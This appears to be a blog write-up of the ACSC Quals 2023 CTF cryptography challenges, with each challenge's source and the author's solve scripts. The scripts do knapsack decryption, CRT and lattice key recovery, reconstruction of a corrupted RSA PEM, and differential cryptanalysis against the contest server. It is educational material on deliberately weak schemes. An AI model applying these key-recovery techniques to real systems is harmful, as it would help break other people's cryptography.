Finished 8th in ACSC Quals 2023. Solved all cryptography challenges and warmup rev. I had a alumni meetup with NEXON Youth Programming Challenge award winners, so I went home at like 9PM with a beer and sangria inside me.

(Here, sangria is not the recent folding scheme for PLONK from Geometry Research)

 

Kinda gave up on the whole ACSC thing until it was around midnight, then I saw that I could make it if I solve all cryptography challenges.

So I hurried to do so and finished around 5:30AM, then solved the warmup rev. Turns out that this was a good idea.

 

Merkle-Hellman

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/env python3
import random
import binascii
 
def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)
 
def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m
 
def gcd(a, b): 
    if a == 0: 
        return b 
    return gcd(b % a, a) 
 
flag = open("flag.txt","rb").read()
# Generate superincreasing sequence
w = [random.randint(1,256)]
s = w[0]
for i in range(6):
    num = random.randint(s+1,s+256)
    w.append(num)
    s += num
 
# Generate private key
total = sum(w)
q = random.randint(total+1,total+256)
r = 0
while gcd(r,q) != 1:
    r = random.randint(100, q)
 
# Calculate public key
b = []
for i in w:
    b.append((i * r) % q)
 
# Encrypting
c = []
for f in flag:
    s = 0
    for i in range(7):
        if f & (64>>i):
            s += b[i]
    c.append(s)
 
print(f"Public Key = {b}")
print(f"Private Key = {w,q}")
print(f"Ciphertext = {c}")
 
# Output:
# Public Key = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
# Private Key = ([184, 332, 713, 1255, 2688, 5243, 10448], 20910)
# Ciphertext = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]
 cs

 

This is a knapsack-based cryptosystem, and we know practically everything here. Just decrypt it.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from sage.all import *
from Crypto.Util.number import inverse, long_to_bytes, bytes_to_long 
 
pk = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
sk = [184, 332, 713, 1255, 2688, 5243, 10448]
q = 20910
ctxt = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]
 
 
df = sk[2] * inverse(pk[2], q)
 
res = b""
 
for c in ctxt:
    c = (c * df) % q 
    f = 0
    for i in range(6, -1, -1):
        if c >= sk[i]:
            f += (1 << (6 - i))
            c -= sk[i]
    res += bytes([f])
 
print(res)
 
 cs

 

 

Check Number 63

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Util.number import *
import gmpy2
from flag import *
 
f = open("output.txt","w")
 
f.write(f"n = {n}\n")
 
while e < 66173:
  d = inverse(e,(p-1)*(q-1))
  check_number = (e*d - 1) // ( (p-1)*(q-1) )
  f.write(f"{e}:{check_number}\n")
  assert (e*d - 1) % ( (p-1)*(q-1) ) == 0
  e = gmpy2.next_prime(e)
  
f.close()
 
 
 cs

 

We have $n$ alongside 63 pairs of $(e, k)$ where $$ed = k \phi(n) + 1$$ The goal is to factor $n$. First, the central idea is to note that $$k \phi(n) + 1 \equiv 0 \pmod{e}$$ so we recover $$\phi(n) \equiv - k^{-1} \pmod{e}$$ Combined with CRT, this gives us $$\phi(n) \pmod{ \prod e}$$ which is around $63 * 16 = 1008$ bits of information. Meanwhile, we since $$\phi(n) = n + 1 - (p + q)$$ we have a 1025 bit range for $\phi(n)$. We can easily brute-force all possible values of $\phi(n)$, then recover $p, q$ from $n, \phi(n)$. 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from sage.all import *
from Crypto.Util.number import inverse, long_to_bytes, bytes_to_long 
 
# ed = k phi(n) + 1
# k phi(n) + 1 == 0 mod e
# phi(n) == -k^-1 mod e
 
n = # given number here
 
def iroot(v, r):
    return Integer(v).nth_root(r, truncate_mode=False)
 
tt = open("output.txt", "r")
tt = tt.readlines()
 
vals = []
mods = []
 
for l in tt:
    wow = l.split(":")
    e = int(wow[0])
    res = int(wow[1])
    vals.append(int(e - inverse(res, e)))
    mods.append(e)
 
cc = int(prod(mods))
 
phi_cc = int(CRT(vals, mods))
 
for l in tt:
    wow = l.split(":")
    e = int(wow[0])
    res = int(wow[1])
    assert (phi_cc * res + 1) % e == 0
 
from tqdm import tqdm
 
for i in tqdm(range(1 << 20)):
    tot = int((n - phi_cc + 1) % cc)
    tot += i * cc
    phi = n - tot + 1
    assert phi % cc == phi_cc 
    try:
        p = (tot - iroot(tot * tot - 4 * n, 2)) // 2
        q = tot - p
        assert p < q 
        assert p * q == n
        print(p, q)
        from hashlib import sha512
        flag = "ACSC{" + sha512( f"{p}{q}".encode() ).hexdigest() + "}" 
        print(flag)
    except:
        pass
 
 
 
 
 
 
 cs

 

 

Dual Signature Algorithm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import os
from hashlib import sha256
from Crypto.Util.number import getPrime, isPrime, getRandomNBitInteger, inverse
 
 
flag = os.environ.get("FLAG", "neko{cat_are_the_most_powerful_beings_in_fact}")
 
 
def h(m: bytes) -> int:
    return int(sha256(m).hexdigest(), 16)
 
 
def gen_prime():
    while True:
        q = getPrime(520)
        p = 2*q + 1
        if isPrime(p):
            return p, q
 
 
p1, q1 = gen_prime()
p2, q2 = gen_prime()
 
if q1 > q2:
    (p1, q1), (p2, q2) = (p2, q2), (p1, q1)
 
x = int((os.urandom(512 // 8 - len(flag) - 1) + flag.encode()).hex(), 16)
g = 4
y1 = pow(g, x, p1)
y2 = pow(g, x, p2)
 
 
def sign(m: bytes):
    z = h(m)
    k = getRandomNBitInteger(512)
    r1 = pow(g, k, p1)
    r2 = pow(g, k, p2)
    s1 = inverse(k, q1) * (z + r1*x) % q1
    s2 = inverse(k, q2) * (z + r2*x) % q2
 
    return (r1, s1), (r2, s2)
 
 
def verify(m: bytes, sig1, sig2):
    z = h(m)
    r1, s1 = sig1
    r2, s2 = sig2
 
    s1inv = inverse(s1, q1)
    s2inv = inverse(s2, q2)
    gk1 = pow(g, s1inv*z, p1) * pow(y1, s1inv*r1, p1) % p1
    gk2 = pow(g, s2inv*z, p2) * pow(y2, s2inv*r2, p2) % p2
 
    return r1 == gk1 and r2 == gk2
 
 
m = b"omochi mochimochi mochimochi omochi"
sig1, sig2 = sign(m)
 
print(f"g = {g}")
print(f"p1, p2 = {p1}, {p2}")
print(f"y1, y2 = {y1}, {y2}")
 
print(f"m = {m}")
print(f"r1, s1 = {sig1}")
print(f"r2, s2 = {sig2}")
 
 cs

 

I overcomplicated this problem way too much - the easier solution is combining the two signature schemes via CRT then LLL.

I tried some straightforward lattices without the CRT idea, but it didn't give me the answer. Here's my solution.

 

Start with the equations $$ks_1 = z + r_1x + c_1q_1, \quad ks_2 = z + r_2x + c_2q_2$$ where $c_1, c_2$ each have absolute values of at most something like $2^{515}$. We'll cancel out the $k$ in the equations to get $$s_2(z + r_1x + c_1q_1) = s_1(z+ r_2x + c_2q_2)$$ or $$(s_2r_1 - s_1r_2)x = (s_1 - s_2)z + (s_1q_2) c_2 - (s_2q_1) c_1$$ This gives us a system - we want $$-2^{515} \le c_1, c_2 \le 2^{515}$$ as well as the linear equation $$(s_1q_2) c_2 \equiv (s_2q_1) c_1 + (s_2 - s_1)z \pmod{s_2r_1 - s_1r_2}$$ While there are some GCD issues like $\gcd(s_1q_2, s_2r_1 - s_1r_2) = 2 \neq 1$, in essence this is the same type of problem as $$S \le c_1 \le E, \quad L \le Ax + B \bmod{M} \le R$$ which is the exact task that the special case of my CVP repository solves. After getting $c_1, c_2$, the rest is easy linear equation. 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
def ceil(n, m): # returns ceil(n/m)
    return (n + m - 1) // m
 
def is_inside(L, R, M, val): # is L <= val <= R in mod M context?
    if L <= R:
        return L <= val <= R
    else:
        R += M
        if L <= val <= R:
            return True
        if L <= val + M <= R:
            return True 
        return False
 
def optf(A, M, L, R): # minimum nonnegative x s.t. L <= Ax mod M <= R
    if L == 0:
        return 0
    if 2 * A > M:
        L, R = R, L
        A, L, R = M - A, M - L, M - R
    cc_1 = ceil(L, A)
    if A * cc_1 <= R:
        return cc_1
    cc_2 = optf(A - M % A, A, L % A, R % A)
    return ceil(L + M * cc_2, A)
 
# check if L <= Ax (mod M) <= R has a solution
def sol_ex(A, M, L, R):
    if L == 0 or L > R:
        return True
    g = GCD(A, M)
    if (L - 1) // g == R // g:
        return False
    return True
 
## find all solutions for L <= Ax mod M <= R, S <= x <= E:
def solve(A, M, L, R, S, E):
    # this is for estimate only : if very large, might be a bad idea to run this
    print("Expected Number of Solutions : ", ((E - S + 1) * (R - L + 1)) // M + 1)
    if sol_ex(A, M, L, R) == False:
        return []
    cur = S - 1
    ans = []
    num_sol = 0
    while cur <= E:
        NL = (L - A * (cur + 1)) % M
        NR = (R - A * (cur + 1)) % M
        if NL > NR:
            cur += 1
        else:
            val = optf(A, M, NL, NR)
            cur += 1 + val
        if cur <= E:
            ans.append(cur)
            # remove assert for performance if needed
            assert is_inside(L, R, M, (A * cur) % M)
            num_sol += 1
    print("Actual Number of Solutions : ", num_sol)
    return ans
 
q1 = (p1 - 1) // 2
q2 = (p2 - 1) // 2
 
det_v = abs(s2 * r1 - s1 * r2)
 
md_2 = s1 * q2 
md_1 = s2 * q1 
 
z = (h(m) * (s2 - s1)) % det_v
 
print(z % 2) # 0
print(md_1 % 2) # 1
print(md_2 % 2) # 0
 
md_2 //= 2
det_v //= 2 
z //= 2
 
A = (md_1 * inverse(md_2, det_v)) % (det_v)
B = (z * inverse(md_2, det_v)) % det_v 
 
BOUND = 1 << 515
 
print(det_v)
 
pepega = solve(A, det_v, det_v -BOUND - B, det_v + BOUND - B, -BOUND, BOUND)
 
print(len(pepega))
 
c_1 = int(pepega[0] * 2)
c_2 = int((md_1 * (c_1 // 2) + z) * inverse(md_2, det_v) % det_v)
if c_1 > BOUND:
    c_1 -= det_v
if c_2 > BOUND:
    c_2 -= det_v
 
print(abs(c_1) < BOUND)
print(abs(c_2) < BOUND)
 
LHS = s2 * h(m) - s1 * h(m) + s2 * c_1 * q1 - s1 * c_2 * q2 
RHS = s1 * r2 - s2 * r1 
x = LHS // RHS 
print(LHS % RHS)
print(long_to_bytes(x))
 
 cs

 

 

Corrupted

We are given a broken PEM file that looks like the following.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAn+8Rj11c2JOgyf6s1Hiiwt553hw9+oGcd1EGo8H5tJOEiUnP
NixaIGMK1O7CU7+IEe43PJcGPPkCti2kz5qAXAyXXBMAlHF46spmQaQFpVRRVMZD
1yInh0QXEjgBBFZKaH3VLh9FpCKYpfqij+OlphoSHlfc7l2Wfct40TDFg13WdpVB
BseCEmaY/b+kxwdfVe7Dzt8kd2ASPuNbOqKvv8ijTgiqpsX5uinjvr/3/srINm8X
xpANqO/eSXP8kO4abOJtyfg2bWvO9QvQRaUIjnYioAkyiqcttbzGIekCfktlA+Rn
JLL19tEG43hubOZAwqGDxvXfKEKx9E2Yx4Da/wIDAQA?AoI?????8S??Om/???xN
3c??0?/G?OO?aQWQB??ECCi??KD?w??2mFc??pTM?r?rX??X+XFW??Rtw?o?d????ZQ?yp?mczG?q2?0O???1o3?Jt?8?+00s?SY+??MG??7d??7k??o?????ci?K??????wK??Y??gqV????9????YA?Hh5T????ICP+?3HTU?l???m0y?6??2???b2x???????+7??T????????n?7????b?P??iL?/???tq???5jLuy??lX?d?ZEO?7???ld???g
?r?rK??IYA???0???zYCIZt2S???cP??W????f???l5?3c+??UkJr4E?QH??PiiD
WLB???f5A?G?A???????????u???3?K???????I???S?????????J?p?3?N?W???
????r???????8???o???m?????8?s???1?4?l?T?3?j?y?6?F?c?g?3?A?8?S?1?
X?o?D?C?+?7?F?V?U?1?f?K?a?F?7?S?b?V?/?v?5?1?V?A?5?G?y?X?AoGB?L?i
?2?C?t?W?s?Z?h?L?t?3?r?d?M?s?U?E?L?P?n?2?U?G?M?g?D?u?E?s?a?h?K?m
?9?/?n?o?J?8?e?9?9?k?N?2?l?T?8?k?b?e?j?n?Q?u?z?z?e?A?S?6?0?w?5?0
?B?V?i?s?R?W?6?Y?6?u?l?s?G?c?Q?2?Q?w?U?l??GA??V?f???kVYfl???WyY?
3J?2fF?h/???UqfpeO???o?k?9kF??a8L?V?w??????J??9?iP????D???JSx??g??IUC0??t7???I??c??????eh/No?????y8???0?E+??1?JC?Oj??HFy??2T?1nV??HH?+???+??s?L?o??K?zc?????BhB2A?????E??b???e?f??KruaZ??u?tp?Tq?c?t?????iQ1qS??h??m?S?/????FDu3i?p???S??Q?o??0s?e0?n?Hv??C?CnM?/Dw
m9?????uC?Ktm????D?e????h7?A??V??O??5/XsY??Y?A???????q?y?gk?Pbq?
????MQK?gQ??SQ?????ERjLp?N??A??P?So?TPE??WWG???lK?Q????o?aztnUT?
eKe4+h0?VkuB?b?v?7ge?nK1??Jy7?y??9??????BP??gG?kKK?y?Z???yES4i??
?Uhc?p????c4ln?m?r???P??C?8?X?d??TP??k??B?dwjN7??ui?K????????-?N? ?S? ?RI?A?? KE?-???-
 cs

 

We need to recover the full PEM key. The solution is really hands-on, and it needs some grinding.

The PEM decoding algorithm is in pycryptodome - basically, it's just a DER decoding. So how does DER decoding work?

 

By following the DER implementation in pycryptodome alongside with some debugging, it's basically as follows.

  • 1 byte is consumed as the octet. Not sure what this does. 
  • Then, 1 byte is consumed as the length $l$. If $l \le 127$, then this is the final length.
  • If $l \ge 128$, then the next $l \pmod{128}$ bytes in big endian represent the final length.
  • The "final length" bytes worth of data, in big endian, is the pushed data. 

However, the very first "final length" is actually the full length, so this one should be skipped. 

 

Also, we quickly note that 

  • By comparing lengths, it can be seen that this file is based on 2048 bit RSA. 
  • In this case, the PEM file has a linebreak every 64 characters. Based on this, we can remove some "?" to linebreaks.
  • The first step is to base64 decode the lines between the first and the last ones. By randomly selecting one of 64 choices for each "?" and decoding it multple times, we can figure out which bits in the decoded data are known, and which bits in the decoded data are the ones from the "?"s. This is useful when patching important "?"s so that the length informations makes sense.

The main part is to patch everything so that the length informations makes sense. Since the datasets are $n, e, d, p, q, d_p, d_q, u$ in order, just try every patch that makes sense and does not affect the bits that are actually known. Decoding an actual 2048 bit RSA PEM helps.

 

In the end, we'll have the full $n, e$ and some bits of $p, q, d_p, d_q, u$. However, $u$ is not needed here. 

The rest is relatively well-known - you set up an equation $$pq = n, \quad ed_p = k_p(p-1) + 1, \quad ed_q = k_q(q-1) + 1$$ and solve this equation modulo powers of 2 iteratively. To do so, you need to fix $k_p, k_q$ - it turns out that there are $\mathcal{O}(e)$ possible pairs of $(k_p, k_q)$, so you can try out all candidates. For example, see [HS09]. There is also my challenge "RSA Hex Permutation". 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from sage.all import *
from Crypto.Util.number import inverse, long_to_bytes, bytes_to_long 
from hashlib import sha256 
from base64 import b64decode
import string 
import random as rand 
 
raw_pem = open("meme.pem", "rb").read()
 
 
ST = b"-----BEGIN RSA PRIVATE KEY-----\n"
EN = b"\n-----END RSA PRIVATE KEY-----"
raw_pem = raw_pem[len(ST): -len(EN)]
print(raw_pem)
 
meme = (string.ascii_uppercase + string.ascii_lowercase + string.digits + "+/=\n").encode()
 
print(len(raw_pem))
 
 
def gen_copy(lmao):
    ret = b""
    for l in lmao:
        ret += bytes([l])
    for i in range(len(ret)):
        if ret[i] not in meme:
            sel = rand.randint(0, 63)
            ret = ret[:i] + bytes([meme[sel]]) + ret[i + 1: ]
    return ret
 
recovered = b64decode(gen_copy(raw_pem))
 
print(len(recovered))
 
EQ = [1] * (len(recovered) * 8)
 
for trial in range(50):
    raw_pem_new = b64decode(gen_copy(raw_pem))
    for j in range(len(recovered)):
        for k in range(8):
            if ((recovered[j] >> (7 - k)) & 1) != ((raw_pem_new[j] >> (7 - k)) & 1):
                EQ[8 * j + k] = 0
 
def get_eq(l, r):
    print("EQ", l, r, EQ[8 * l : 8 * r])
 
def patch(org, l, r, patch):
    return org[:l] + bytes(patch) + org[r:]
 
# patch
 
# for e
recovered = patch(recovered, 272, 273, [1])
# for d length
recovered = patch(recovered, 275, 277, [1, 1]) # either [1, 0] or [1, 1]
# for p length
recovered = patch(recovered, 535, 537, [129, 129])
# for d mod p - 1
recovered = patch(recovered, 799, 800, [129])
# for d mod q - 1
recovered = patch(recovered, 930, 932, [129, 128])
# for u
recovered = patch(recovered, 1061, 1062, [129])
 
cur = 0
vals = []
for i in range(10):
    print("START", i, cur)
    print("octet", cur, recovered[cur])
    cur += 1
    l = recovered[cur]
    print("[+] length heat check", l, cur)
    get_eq(cur, cur + 1)
    cur += 1
    if l > 127:
        tt = l & 0x7F
        real_l = bytes_to_long(recovered[cur:cur+tt])
        print("[+] real length")
        get_eq(cur, cur + tt)
        print(recovered[cur:cur+tt])
        print(real_l, "at range", cur, cur+tt)
        cur += tt
    else:
        real_l = l
    if i == 0:
        continue 
    print("[+] data", recovered[cur:cur+real_l])
    get_eq(cur, cur + real_l)
    val = bytes_to_long(recovered[cur:cur+real_l])
    print("[+] appended", val)
    vals.append(val)
    cur += real_l 
 
print(vals)
 
 cs

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
n = data[1]
e = data[2]
d_val = data[3]
p_val = data[4]
q_val = data[5]
d_p_val = data[6]
d_q_val = data[7]
 
k_p, k_q = 0, 0
 
import sys
sys.setrecursionlimit(10 ** 6)
 
 
def work(ps, qs, dps, dqs, cur):
    if cur == 1028:
        return
    
    nxtps = []
    nxtqs = []
    nxtdps = []
    nxtdqs = []
 
    if cur > 950 and len(ps) == 1:
        # print(ps, cur)
        if n % ps[0] == 0:
            print("WOW!!!")
    if len(ps) == 0:
        return
 
    for p, q, dp, dq in zip(ps, qs, dps, dqs):
        if cur >= 1000:
            if n % p == 0:
                print(p)
                print(n // p)
 
        if cur == 1028:
            continue
        
        for pi in range(2):
            if p_conf[-1-cur] == 1 and ((p_val >> cur) & 1) != pi:
                continue
            new_p = p + (pi << cur)
            for qi in range(2):
                if q_conf[-1-cur] == 1 and ((q_val >> cur) & 1) != qi:
                    continue
                new_q = q + (qi << cur)
                for dpi in range(2):
                    if d_p_conf[- 1 - cur] == 1 and ((d_p_val >> cur) & 1) != dpi:
                        continue 
                    new_dp = dp + (dpi << cur)
                    for dqi in range(2):
                        if d_q_conf[-1 - cur] == 1 and ((d_q_val >> cur) & 1) != dqi:
                            continue 
                        new_dq = dq + (dqi << cur)
                        A = abs(n - new_p * new_q)
                        B = abs(e * new_dp - k_p * (new_p - 1) - 1)
                        C = abs(e * new_dq - k_q * (new_q - 1) - 1)
                        if ((A >> cur) & 1) != 0:
                            continue
                        if ((B >> cur) & 1) != 0:
                            continue 
                        if ((C >> cur) & 1) != 0:
                            continue
                        nxtps.append(new_p)
                        nxtqs.append(new_q)
                        nxtdps.append(new_dp)
                        nxtdqs.append(new_dq)
 
    work(nxtps, nxtqs, nxtdps, nxtdqs, cur + 1)
 
from tqdm import tqdm 
 
for idx in tqdm(range(1, e)):
    if (idx * (n - 1) + 1) % e == 0:
        continue 
    k_p = idx 
    k_q = ((1 - k_p) * inverse(k_p * n - k_p + 1, e)) % e
    work([0], [0], [0], [0], 0)
 cs

 

 

SusCipher

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
#!/usr/bin/env python3
import hashlib
import os
import signal
 
 
class SusCipher:
    S = [
        43,  8, 57, 53, 48, 39, 15, 61,
         7, 44, 33,  9, 19, 41,  3, 14,
        42, 51,  6,  2, 49, 28, 55, 31,
         0,  4, 30,  1, 59, 50, 35, 47,
        25, 16, 37, 27, 10, 54, 26, 58,
        62, 13, 18, 22, 21, 24, 12, 20,
        29, 38, 23, 32, 60, 34,  5, 11,
        45, 63, 40, 46, 52, 36, 17, 56
    ]
 
    P = [
        21,  8, 23,  6,  7, 15,
        22, 13, 19, 16, 25, 28,
        31, 32, 34, 36,  3, 39,
        29, 26, 24,  1, 43, 35,
        45, 12, 47, 17, 14, 11,
        27, 37, 41, 38, 40, 20,
         2,  0,  5,  4, 42, 18,
        44, 30, 46, 33,  9, 10
    ]
 
    ROUND = 3
    BLOCK_NUM = 8
    MASK = (1 << (6 * BLOCK_NUM)) - 1
 
    @classmethod
    def _divide(cls, v: int) -> list[int]:
        l: list[int] = []
        for _ in range(cls.BLOCK_NUM):
            l.append(v & 0b111111)
            v >>= 6
        return l[::-1]
 
    @staticmethod
    def _combine(block: list[int]) -> int:
        res = 0
        for v in block:
            res <<= 6
            res |= v
        return res
 
    @classmethod
    def _sub(cls, block: list[int]) -> list[int]:
        return [cls.S[v] for v in block]
 
    @classmethod
    def _perm(cls, block: list[int]) -> list[int]:
        bits = ""
        for b in block:
            bits += f"{b:06b}"
 
        buf = ["_" for _ in range(6 * cls.BLOCK_NUM)]
        for i in range(6 * cls.BLOCK_NUM):
            buf[cls.P[i]] = bits[i]
 
        permd = "".join(buf)
        return [int(permd[i : i + 6], 2) for i in range(0, 6 * cls.BLOCK_NUM, 6)]
 
    @staticmethod
    def _xor(a: list[int], b: list[int]) -> list[int]:
        return [x ^ y for x, y in zip(a, b)]
 
    def __init__(self, key: int):
        assert 0 <= key <= self.MASK
 
        keys = [key]
        for _ in range(self.ROUND):
            v = hashlib.sha256(str(keys[-1]).encode()).digest()
            v = int.from_bytes(v, "big") & self.MASK
            keys.append(v)
 
        self.subkeys = [self._divide(k) for k in keys]
 
    def encrypt(self, inp: int) -> int:
        block = self._divide(inp)
 
        block = self._xor(block, self.subkeys[0])
        for r in range(self.ROUND):
            block = self._sub(block)
            block = self._perm(block)
            block = self._xor(block, self.subkeys[r + 1])
 
        return self._combine(block)
 
    # TODO: Implement decryption
    def decrypt(self, inp: int) -> int:
        raise NotImplementedError()
 
 
def handler(_signum, _frame):
    print("Time out!")
    exit(0)
 
 
def main():
    signal.signal(signal.SIGALRM, handler)
    signal.alarm(300)
    key = int.from_bytes(os.urandom(6), "big")
 
    cipher = SusCipher(key)
 
    while True:
        inp = input("> ")
 
        try:
            l = [int(v.strip()) for v in inp.split(",")]
        except ValueError:
            print("Wrong input!")
            exit(0)
 
        if len(l) > 0x100:
            print("Long input!")
            exit(0)
 
        if len(l) == 1 and l[0] == key:
            with open('flag', 'r') as f:
                print(f.read())
 
        print(", ".join(str(cipher.encrypt(v)) for v in l))
 
 
if __name__ == "__main__":
    main()
 
 cs

 

This is a 3-round block cipher, and a hint is given - use differential cryptanalysis. 

 

Let's find some easy differentials. We collect the $((i \oplus j)[u], (S_i \oplus S_j)[v])$ and see how it behave - and it turns out that the bias is noticeable. We can keep track of an array $pos$, where $pos_i$ denotes the bit location where the original $i$th bit is the most correlated to it. 

 

In the current state, there are 3 S-box applications, so the bias will decrease over those 3 S-boxes. However, if we know a key chunk, for example, the first 6 bits, then the first key addition and the S-box application can be computed directly, so in reality we are only going through 2 S-boxes. Therefore, the correlation between the state just after the first S-box and the encrypted state will be much greater.

We can now brute force all 64 possibilities for all 8 key chunks. 20K random encryptions are enough to reliably find the key.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
from pwn import * 
import os 
 
S = [
        43,  8, 57, 53, 48, 39, 15, 61,
         7, 44, 33,  9, 19, 41,  3, 14,
        42, 51,  6,  2, 49, 28, 55, 31,
         0,  4, 30,  1, 59, 50, 35, 47,
        25, 16, 37, 27, 10, 54, 26, 58,
        62, 13, 18, 22, 21, 24, 12, 20,
        29, 38, 23, 32, 60, 34,  5, 11,
        45, 63, 40, 46, 52, 36, 17, 56
    ]
 
P = [
        21,  8, 23,  6,  7, 15,
        22, 13, 19, 16, 25, 28,
        31, 32, 34, 36,  3, 39,
        29, 26, 24,  1, 43, 35,
        45, 12, 47, 17, 14, 11,
        27, 37, 41, 38, 40, 20,
         2,  0,  5,  4, 42, 18,
        44, 30, 46, 33,  9, 10
    ]
 
def get_bit(res, w):
    return (res >> (5 - w)) & 1
 
 
bits = [[[0, 0, 0, 0] for _ in range(6)] for _ in range(6)]
 
for i in range(64):
    for j in range(64):
        # i ^ j => Si ^ Sj 
        for u in range(6):
            for v in range(6):
                t1 = get_bit(i ^ j, u)
                t2 = get_bit(S[i] ^ S[j], v)
                bits[u][v][2 * t1 + t2] += 1
 
 
mx = 0
for i in range(6):
    print("[+]", i)
    mx_j = 0
    for j in range(6):
        mx_j = max(mx_j, bits[i][j][0])
    print(mx_j)
    for j in range(6):
        if bits[i][j][0] == mx_j:
            print(j)
 
 
sub_loc = [5, 0, 1, 1, 0, 5]
 
 
def track_sub(pos):
    ret = [0] * 48
    for i in range(48):
        loc = pos[i] // 6
        md = pos[i] % 6
        ret[i] = 6 * loc + sub_loc[md]
    return ret
 
def track_perm(pos):
    ret = [0] * 48
    for i in range(48):
        ret[i] = P[pos[i]]
    return ret
 
full_enc = [i for i in range(48)]
for i in range(3):
    full_enc = track_sub(full_enc)
    full_enc = track_perm(full_enc)
 
part_enc = [i for i in range(48)]
part_enc = track_perm(part_enc)
for i in range(2):
    part_enc = track_sub(part_enc)
    part_enc = track_perm(part_enc)
 
plaintexts = [int.from_bytes(os.urandom(6), "big") for _ in range(256 * 80)]
 
l = []
 
for i in range(80):
    st = ""
    for j in range(256):
        st += str(plaintexts[256 * i + j])
        if j != 255:
            st += ","
    l.append(st)
 
 
conn = remote("suscipher.chal.ctf.acsc.asia", 13579)
 
conn.sendlines(l)
 
results = conn.recvlines(80)
 
enc = []
 
for i in range(80):
    encs = results[i][2:].split(b",")
    assert len(encs) == 256
    for j in range(256):
        enc.append(int(encs[j]))
 
 
key = 0
 
for i in range(8):
    res = [[0 for _ in range(6)] for _ in range(64)]
    fin = [0] * 64
 
    dat_eq = 0
    tot = 0
    
    for idx in range(len(enc)):
        plaintext = plaintexts[idx]
        ciphertext = enc[idx]
 
        ptxt_block = (plaintext >> (6 * (7 - i))) & 63
        for loc in range(6):
            for k in range(64):
                bit_org = (S[k ^ ptxt_block] >> (5 - loc)) & 1
                bit_res = (ciphertext >> (47 - part_enc[6 * i + loc])) & 1
                if bit_org == bit_res:
                    res[k][loc] += 1
 
    for idx in range(64):
        for u in range(6):
            fin[idx] += abs(res[idx][u] - len(enc) // 2)
 
    v = 0
    for idx in range(64):
        v = max(v, fin[idx])
    
    ans = 0
    for idx in range(64):
        if v == fin[idx]:
            ans = idx
 
    key += (ans << (6 * (7 - i)))
 
conn.sendline(str(key).encode())
print(conn.recvline())
 
 
 
 
 cs

 

 

Serverless

Basically, the encryption system works as follows. 

  • Select one prime $p$ from a fixed array
  • Select one prime $q$ from a fixed array 
  • Select $0 \le s \le 4$ and choose $e = 2^{2^s} + 1$
  • Textbook RSA encrypt data, little-endian it, append some values ($s$ and the indexes for $p, q$)
  • XOR the password, reverse the data, then base64 encode it 

As we know the fixed array of primes and the password, the decryption is easy. 

 

저작자표시 비영리

'CTF' 카테고리의 다른 글

HackTM CTF Writeup  (0) 2023.02.22
BlackHat MEA Finals  (0) 2022.11.21
CODEGATE 2022 Finals: Look It Up  (0) 2022.11.09
0CTF 2022 ezRSA+++  (0) 2022.09.19
